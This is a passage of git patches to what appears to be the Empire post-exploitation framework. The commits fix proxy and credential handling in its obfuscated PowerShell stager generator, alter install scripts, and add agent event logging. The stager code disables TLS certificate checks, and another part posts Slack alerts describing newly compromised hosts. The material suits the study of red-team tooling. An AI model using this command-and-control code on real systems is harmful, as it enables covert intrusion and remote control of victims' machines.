value for the launcher + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName] stager = self.mainMenu.stagers.stagers['multi/launcher'] stager.options['Listener']['Value'] = listenerName stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" + stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] if self.mainMenu.obfuscate: stager.options['Obfuscate']['Value'] = "True" else: From 66050064fd0f1db0036f917c5f1c2c8239dbb6a6 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sat, 6 Jan 2018 16:49:10 -0500 Subject: [PATCH 015/136] Patch for #907 --- lib/common/empire.py | 1 + lib/listeners/http.py | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 4882b8ca0..758d8388b 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3012,6 +3012,7 @@ def do_launcher(self, line): stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] if self.mainMenu.obfuscate: stager.options['Obfuscate']['Value'] = "True" else: diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 9f2f201f0..59548bcfd 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -329,7 +329,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy - stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');") + stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") + stager += proxy.lower() + stager += helpers.randomize_capitalization("');") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() != 'none': if proxyCreds.lower() == "default": From 064e1e2ffd2ae936b6d00a69f39193c3356b0660 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 7 Jan 2018 19:13:26 -0500 Subject: [PATCH 016/136] Update changelog --- changelog | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/changelog b/changelog index ff5955d63..8b92bd9eb 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,8 @@ +Working +----------- +- Patched launcher generation bug +- Added OSX Mic record module #893 (@s0lst1c3) + 01/04/2018 ------------ - Version 2.4 Master Release From aba0cbfb94033021823441da1e55d408511b0d61 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 7 Jan 2018 19:24:06 -0500 Subject: [PATCH 017/136] Additional patch for launcher generation with dbx listener --- lib/common/empire.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index c5fc36cd1..bc60a69bb 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3011,8 +3011,11 @@ def do_launcher(self, line): stager.options['Listener']['Value'] = listenerName stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" - stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] - stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] + try: + stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] + except: + pass if self.mainMenu.obfuscate: stager.options['Obfuscate']['Value'] = "True" else: @@ -3124,8 +3127,11 @@ def do_launcher(self, line): stager.options['Listener']['Value'] = self.listenerName stager.options['Language']['Value'] = parts[0] stager.options['Base64']['Value'] = "True" - stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] - stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] + try: + stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] + except: + pass print stager.generate() except Exception as e: print helpers.color("[!] Error generating launcher: %s" % (e)) From f3c434cd4d371127697cfe386696ca571900f429 Mon Sep 17 00:00:00 2001 From: shakagoolu Date: Mon, 8 Jan 2018 11:38:44 -0500 Subject: [PATCH 018/136] Fix to properly assign taskIDs for deathstar and custom code --- empire | 30 ++++++++++-------------------- 1 file changed, 10 insertions(+), 20 deletions(-) diff --git a/empire b/empire index 2ac89d773..629414707 100755 --- a/empire +++ b/empire @@ -864,26 +864,16 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for agentNameID in agentNameIDs: [agentName, agentSessionID] = agentNameID - agentResults = execute_db_query(conn, "SELECT results FROM agents WHERE session_id=?", [agentSessionID]) - taskIDs = execute_db_query(conn, "SELECT id from taskings where agent=?", [agentSessionID]) - - if agentResults[0][0] and len(agentResults[0][0]) > 0: - try: - agentResults = ast.literal_eval(agentResults[0][0]) - except ValueError: - break - - results = [] - if len(agentResults) > 0: - job_outputs = [x.strip() for x in agentResults if not x.startswith('Job')] - - for taskID, result in zip(taskIDs, job_outputs): - if not (len(result.split('\n')) == 1 and result.endswith('completed!')): - results.append({'taskID': taskID[0], 'results': result}) - else: - results.append({'taskID': taskID[0], 'results': ''}) - - agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results}) + agentResults = execute_db_query(conn, "SELECT results.id,taskings.data AS command,results.data AS response FROM results INNER JOIN taskings ON results.id = taskings.id AND results.agent = taskings.agent where results.agent=?;", [agentSessionID]) + + results = [] + if len(agentResults) > 0: + for taskID, command, result in agentResults: + results.append({'taskID': taskID, 'command': command, 'results': result}) + + agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results}) + else: + agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": []}) return jsonify({'results': agentTaskResults}) From 171427a61632bc15d1a9cfe3d5a7c908e6f61182 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 8 Jan 2018 14:18:21 -0500 Subject: [PATCH 019/136] update requirements file --- setup/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/setup/requirements.txt b/setup/requirements.txt index cfda6d3a9..89622ed73 100644 --- a/setup/requirements.txt +++ b/setup/requirements.txt @@ -1,4 +1,5 @@ -urllib3 +urllib3>=1.21.1 +requests==2.18.4 setuptools iptools pydispatcher From 2852513062dbf469b3a71ef0b42c271664b39beb Mon Sep 17 00:00:00 2001 From: SadProcessor Date: Mon, 8 Jan 2018 22:35:30 +0100 Subject: [PATCH 020/136] Update install.sh Fix Kali Install --- setup/install.sh | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/setup/install.sh b/setup/install.sh index 6935d62ea..e896cd11e 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -83,12 +83,11 @@ function install_powershell() { fi #Kali Linux if cat /etc/lsb-release | grep -i 'Kali'; then - # Install prerequisites - apt-get install libunwind8 libicu55 - wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb # Install PowerShell - dpkg -i powershell_6.0.0-rc.2-1.ubuntu.16.04_amd64.deb + wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-rc.2/powershell_6.0.0-rc.2-1.debian.9_amd64.deb + dpkg -i powershell_6.0.0-rc.2-1.debian.9_amd64.deb + #fix dependency error + apt-get install -f -y fi fi if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then @@ -133,7 +132,9 @@ else sudo pip install -r requirements.txt elif lsb_release -d | grep -q "Kali"; then Release=Kali - sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev build-essential + wget http://ftp.us.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb + dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb + sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk zlib1g-dev libssl1.0-dev build-essential pip install --upgrade pip sudo pip install -r requirements.txt install_powershell From bfc793a7f65352be5659f338fe7e8e7353fa6c66 Mon Sep 17 00:00:00 2001 From: NK Date: Wed, 10 Jan 2018 19:41:22 +0100 Subject: [PATCH 021/136] Fix: none proxy value really means no proxy Usefull when outgoing connexion is less filtered than proxy ones. --- lib/listeners/http.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index ac43b2905..c962530ff 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -348,9 +348,10 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", usr = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');" stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") - + else: + stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();") #save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" + stager += "$Script:Proxy = $wc.Proxy;" # TODO: reimplement stager retries? #check if we're using IPv6 From 17ca6ba2d013970846dff112a13d232070f14893 Mon Sep 17 00:00:00 2001 From: Jan Rude Date: Mon, 15 Jan 2018 11:25:08 +0100 Subject: [PATCH 022/136] Update install.sh Added download link to powershell and updated libssl --- setup/install.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/setup/install.sh b/setup/install.sh index 6935d62ea..3a672f62a 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -85,9 +85,10 @@ function install_powershell() { if cat /etc/lsb-release | grep -i 'Kali'; then # Install prerequisites apt-get install libunwind8 libicu55 - wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb + dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb # Install PowerShell + wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0/powershell_6.0.0-1.ubuntu.16.04_amd64.deb dpkg -i powershell_6.0.0-rc.2-1.ubuntu.16.04_amd64.deb fi fi From f22a0a421eabcc18981527c4ae20347e0849573d Mon Sep 17 00:00:00 2001 From: Jan Rude Date: Mon, 15 Jan 2018 12:35:13 +0100 Subject: [PATCH 023/136] Update install.sh --- setup/install.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/install.sh b/setup/install.sh index 3a672f62a..298ae38a9 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -89,7 +89,7 @@ function install_powershell() { dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb # Install PowerShell wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0/powershell_6.0.0-1.ubuntu.16.04_amd64.deb - dpkg -i powershell_6.0.0-rc.2-1.ubuntu.16.04_amd64.deb + dpkg -i powershell_6.0.0-1.ubuntu.16.04_amd64.deb fi fi if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then From 0e5f391363d39b34a0c4f8b34140d1977b59fa06 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Mon, 1 Jan 2018 23:23:05 -0700 Subject: [PATCH 024/136] overhaul Empire events system --- empire | 8 +-- lib/common/__init__.py | 23 +++++++++ lib/common/agents.py | 36 ++++++------- lib/common/empire.py | 20 ++++---- lib/common/events.py | 112 +++++++++++++++++++++++++++++++++++++++++ 5 files changed, 168 insertions(+), 31 deletions(-) create mode 100644 lib/common/events.py diff --git a/empire b/empire index f0f8b3569..2590c10c1 100755 --- a/empire +++ b/empire @@ -1143,7 +1143,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for reportingEvent in reportingRaw: [ID, name, event_type, message, time_stamp, taskID] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1167,7 +1167,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for reportingEvent in reportingRaw: [ID, name, event_type, message, time_stamp, taskID] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1183,7 +1183,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for reportingEvent in reportingRaw: [ID, name, event_type, message, time_stamp, taskID] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1199,7 +1199,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for reportingEvent in reportingRaw: [ID, name, event_type, message, time_stamp, taskID] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) diff --git a/lib/common/__init__.py b/lib/common/__init__.py index e69de29bb..e3d500787 100644 --- a/lib/common/__init__.py +++ b/lib/common/__init__.py @@ -0,0 +1,23 @@ +""" +Connect to the default database at ./data/empire.db. +""" + +import sys +import sqlite3 + +import helpers + +def connect_to_db(): + try: + # set the database connectiont to autocommit w/ isolation level + conn = sqlite3.connect('./data/empire.db', check_same_thread=False) + conn.text_factory = str + conn.isolation_level = None + return conn + + except Exception: + print helpers.color("[!] Could not connect to database") + print helpers.color("[!] Please run database_setup.py") + sys.exit() + +db = connect_to_db() diff --git a/lib/common/agents.py b/lib/common/agents.py index a0d1a76dd..0b8a19060 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -69,6 +69,7 @@ import helpers import packets import messages +import events class Agents: @@ -106,7 +107,7 @@ def __init__(self, MainMenu, args=None): def get_db_connection(self): """ - Returns the + Returns the """ self.lock.acquire() self.mainMenu.conn.row_factory = None @@ -119,7 +120,7 @@ def get_db_connection(self): # Misc agent methods # ############################################################### - + def is_agent_present(self, sessionID): """ Checks if a given sessionID corresponds to an active agent. @@ -129,7 +130,7 @@ def is_agent_present(self, sessionID): nameid = self.get_agent_id_db(sessionID) if nameid: sessionID = nameid - + return sessionID in self.agents @@ -154,9 +155,10 @@ def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, wor try: self.lock.acquire() cur = conn.cursor() - # add the agent and report the initial checkin in the reporting database + # add the agent cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language)) - cur.execute("INSERT INTO reporting (name, event_type, message, time_stamp) VALUES (?,?,?,?)", (sessionID, "checkin", checkinTime, helpers.get_datetime())) + # report the initial checkin in the reporting database + events.agent_checkin(sessionID, checkinTime) cur.close() # initialize the tasking/result buffers along with the client session key @@ -252,7 +254,7 @@ def save_file(self, sessionID, path, data, append=False): else: # otherwise append f = open("%s/%s" % (save_path, filename), 'ab') - + if "python" in lang: print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green") d = decompress.decompress() @@ -368,7 +370,7 @@ def is_agent_elevated(self, sessionID): nameid = self.get_agent_id_db(sessionID) if nameid: sessionID = nameid - + conn = self.get_db_connection() try: self.lock.acquire() @@ -923,7 +925,7 @@ def rename_agent(self, oldname, newname): # rename the agent in the database cur = conn.cursor() cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname]) - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname, "rename", newname, helpers.get_datetime())) + events.agent_rename(oldname, newname) cur.close() retVal = True @@ -1036,7 +1038,7 @@ def add_agent_task_db(self, sessionID, taskName, task=''): agent_tasks = json.loads(agent_tasks[0]) else: agent_tasks = [] - + pk = cur.execute("SELECT max(id) from taskings where agent=?", [sessionID]).fetchone()[0] if pk is None: pk = 0 @@ -1048,7 +1050,7 @@ def add_agent_task_db(self, sessionID, taskName, task=''): cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) # report the agent tasking in the reporting database - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk)) + events.agent_task(sessionID, taskName, pk, task) cur.close() @@ -1057,7 +1059,7 @@ def add_agent_task_db(self, sessionID, taskName, task=''): f = open('%s/LastTask' % (self.installPath), 'w') f.write(task) f.close() - + return pk finally: @@ -1322,16 +1324,16 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language) # signal to Slack that this agent is now active - + slackToken = listenerOptions['SlackToken']['Value'] slackChannel = listenerOptions['SlackChannel']['Value'] if slackToken != "": slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID) helpers.slackMessage(slackToken,slackChannel,slackText) - + # signal everyone that this agent is now active dispatcher.send("[+] Initial agent %s from %s now active (Slack)" % (sessionID, clientIP), sender='Agents') - + # save the initial sysinfo information in the agent log agent = self.mainMenu.agents.get_agent_db(sessionID) output = messages.display_agent(agent, returnAsString=True) @@ -1479,7 +1481,7 @@ def handle_agent_response(self, sessionID, encData): results = True conn = self.get_db_connection() - cur = conn.cursor() + cur = conn.cursor() data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0] cur.close() theSender="Agents" @@ -1521,7 +1523,7 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): self.lock.acquire() # report the agent result in the reporting database cur = conn.cursor() - cur.execute("INSERT INTO reporting (name, event_type, message, time_stamp, taskID) VALUES (?,?,?,?,?)", (agentSessionID, "result", responseName, helpers.get_datetime(), taskID)) + events.agent_result(agentSessionID, responseName, taskID) # insert task results into the database, if it's not a file if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None: @@ -1803,7 +1805,7 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): self.save_agent_log(sessionID, data) elif responseName == "TASK_SCRIPT_COMMAND": - + self.update_agent_results_db(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) diff --git a/lib/common/empire.py b/lib/common/empire.py index bc60a69bb..effd72e23 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -90,7 +90,7 @@ def __init__(self, args=None): dispatcher.connect(self.handle_event, sender=dispatcher.Any) - # Main, Agents, or + # Main, Agents, or self.menu_state = 'Main' # parse/handle any passed command line arguments @@ -799,16 +799,16 @@ def do_interact(self, line): def do_preobfuscate(self, line): "Preobfuscate PowerShell module_source files" - + if not helpers.is_powershell_installed(): print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.") return - + module = line.strip() obfuscate_all = False obfuscate_confirmation = False reobfuscate = False - + # Preobfuscate ALL module_source files if module == "" or module == "all": choice = raw_input(helpers.color("[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ", "red")) @@ -1875,7 +1875,7 @@ def do_download(self, line): "Task an agent to download a file." line = line.strip() - + if line != "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line) # update the agent log @@ -1901,7 +1901,7 @@ def do_upload(self, line): if parts[0] != "" and os.path.exists(parts[0]): # Check the file size against the upload limit of 1 mb - + # read in the file and base64 encode it for transport open_file = open(parts[0], 'r') file_data = open_file.read() @@ -2788,7 +2788,7 @@ def do_cat(self, line): with open("%s","r") as f: for line in f: output += line - + print output except Exception as e: print str(e) @@ -2856,7 +2856,7 @@ def do_shellb(self, line): else: print helpers.color("[!] python/management/osx/shellb module not loaded") - + def do_viewrepo(self, line): "View the contents of a repo. if none is specified, all files will be returned" repoName = line.strip() @@ -2994,7 +2994,7 @@ def do_info(self, line): def do_launcher(self, line): "Generate an initial launcher for a listener." - + parts = line.strip().split() if len(parts) != 2: print helpers.color("[!] Please enter 'launcher '") @@ -3389,7 +3389,7 @@ def do_usemodule(self, line): _agent = '' if 'Agent' in self.module.options: _agent = self.module.options['Agent']['Value'] - + line = line.strip("*") module_menu = ModuleMenu(self.mainMenu, line, agent=_agent) module_menu.cmdloop() diff --git a/lib/common/events.py b/lib/common/events.py new file mode 100644 index 000000000..2245be1ab --- /dev/null +++ b/lib/common/events.py @@ -0,0 +1,112 @@ +""" +Event handling system +Every "major" event in Empire (loosely defined as everything you'd want to +go into a report) is logged to the database. This file contains functions +which help manage those events - logging them, fetching them, etc. +""" + +import json + +from pydispatch import dispatcher + +import helpers +from lib.common import db + +def handle_event(signal, sender): + """ Puts all dispatched events into the DB """ + # TODO get db cursor, insert events for all + cur = db.cursor() + event_data = json.dumps({'signal': signal, 'sender': sender}) + log_event(cur, 'user', 'dispatched_event', event_data, helpers.get_datetime()) + cur.close() + +# Record all dispatched events +dispatcher.connect(handle_event, sender=dispatcher.Any) + +# Helper functions for logging common events + +def agent_checkin(session_id, checkin_time): + """ + Helper function for reporting agent checkins. + + session_id - of an agent + checkin_time - when that agent was first seen + """ + cur = db.cursor() + checkin_data = json.dumps({'checkin_time': checkin_time}) + log_event(cur, session_id, 'agent_checkin', checkin_data, helpers.get_datetime()) + cur.close() + +def agent_rename(old_name, new_name): + """ + Helper function for reporting agent name changes. + + old_name - agent's old name + new_name - what the agent is being renamed to + """ + # make sure to include new_name in there so it will persist if the agent + # is renamed again - that way we can still trace the trail back if needed + cur = db.cursor() + name_data = json.dumps({'old_name': old_name, 'new_name': new_name}) + log_event(cur, new_name, 'agent_rename', name_data, helpers.get_datetime()) + # rename all events left over using agent's old name + cur.execute("UPDATE reporting SET name=? WHERE name=?", [new_name, old_name]) + cur.close() + +def agent_task(session_id, task_name, task_id, task): + """ + Helper function for reporting agent taskings. + + session_id - of an agent + task_name - a string (e.g. "TASK_EXIT", "TASK_CMD_WAIT", "TASK_SHELL") that + an agent is able to interpret as a command + task_id - a unique ID for this task (usually an integer 0 Date: Mon, 15 Jan 2018 11:30:21 -0700 Subject: [PATCH 025/136] remove todo --- lib/common/events.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/common/events.py b/lib/common/events.py index 2245be1ab..be3aa5d74 100644 --- a/lib/common/events.py +++ b/lib/common/events.py @@ -14,7 +14,6 @@ def handle_event(signal, sender): """ Puts all dispatched events into the DB """ - # TODO get db cursor, insert events for all cur = db.cursor() event_data = json.dumps({'signal': signal, 'sender': sender}) log_event(cur, 'user', 'dispatched_event', event_data, helpers.get_datetime()) From 0bd067c380a28e4e6cd9ade7dfcad90b55871271 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 15 Jan 2018 22:18:08 -0500 Subject: [PATCH 026/136] Fix stager generation logic --- lib/listeners/http.py | 62 +++++++++++++++++++++---------------------- 1 file changed, 30 insertions(+), 32 deletions(-) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 698c3b28a..4d7ad4a9f 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -318,40 +318,38 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - if userAgent.lower() != 'none' or proxy.lower() != 'none': - - if userAgent.lower() != 'none': - stager += helpers.randomize_capitalization('$wc.Headers.Add(') - stager += "'User-Agent',$u);" - - if proxy.lower() != 'none': - if proxy.lower() == 'default': - stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") + if userAgent.lower() != 'none': + stager += helpers.randomize_capitalization('$wc.Headers.Add(') + stager += "'User-Agent',$u);" + + if proxy.lower() != 'none': + if proxy.lower() == 'default': + stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") + else: + # TODO: implement form for other proxy + stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") + stager += proxy.lower() + stager += helpers.randomize_capitalization("');") + stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") + if proxyCreds.lower() != 'none': + if proxyCreds.lower() == "default": + stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: - # TODO: implement form for other proxy - stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") - stager += proxy.lower() - stager += helpers.randomize_capitalization("');") - stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") - if proxyCreds.lower() != 'none': - if proxyCreds.lower() == "default": - stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") + # TODO: implement form for other proxy credentials + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + if len(username.split('\\')) > 1: + usr = username.split('\\')[1] + domain = username.split('\\')[0] + stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(':')[0] - password = proxyCreds.split(':')[1] - if len(username.split('\\')) > 1: - usr = username.split('\\')[1] - domain = username.split('\\')[0] - stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" - else: - usr = username.split('\\')[0] - stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');" - stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") - else: - stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();") - #save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" + usr = username.split('\\')[0] + stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');" + stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") + else: + stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();") + #save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" # TODO: reimplement stager retries? #check if we're using IPv6 From 4c26b47c245d65b731099bb99b6299bd6fd4c978 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Tue, 16 Jan 2018 15:59:11 -0700 Subject: [PATCH 027/136] add new events --- lib/common/agents.py | 10 +++++++++- lib/common/events.py | 27 ++++++++++++++++++++++++++- 2 files changed, 35 insertions(+), 2 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 0b8a19060..3c2ad5d16 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -157,9 +157,10 @@ def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, wor cur = conn.cursor() # add the agent cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language)) + cur.close() + # report the initial checkin in the reporting database events.agent_checkin(sessionID, checkinTime) - cur.close() # initialize the tasking/result buffers along with the client session key self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []} @@ -193,6 +194,9 @@ def remove_agent_db(self, sessionID): cur = conn.cursor() cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID]) cur.close() + + # log an "agent deleted" event + events.agent_delete(sessionID) finally: self.lock.release() @@ -1154,6 +1158,10 @@ def clear_agent_tasks_db(self, sessionID): finally: self.lock.release() + if sessionID == '%': + sessionID = 'all' + events.agent_clear_tasks(sessionID) + ############################################################### # diff --git a/lib/common/events.py b/lib/common/events.py index be3aa5d74..9dd5e5b99 100644 --- a/lib/common/events.py +++ b/lib/common/events.py @@ -22,7 +22,9 @@ def handle_event(signal, sender): # Record all dispatched events dispatcher.connect(handle_event, sender=dispatcher.Any) +################################################################################ # Helper functions for logging common events +################################################################################ def agent_checkin(session_id, checkin_time): """ @@ -59,7 +61,7 @@ def agent_task(session_id, task_name, task_id, task): session_id - of an agent task_name - a string (e.g. "TASK_EXIT", "TASK_CMD_WAIT", "TASK_SHELL") that an agent is able to interpret as a command - task_id - a unique ID for this task (usually an integer 0 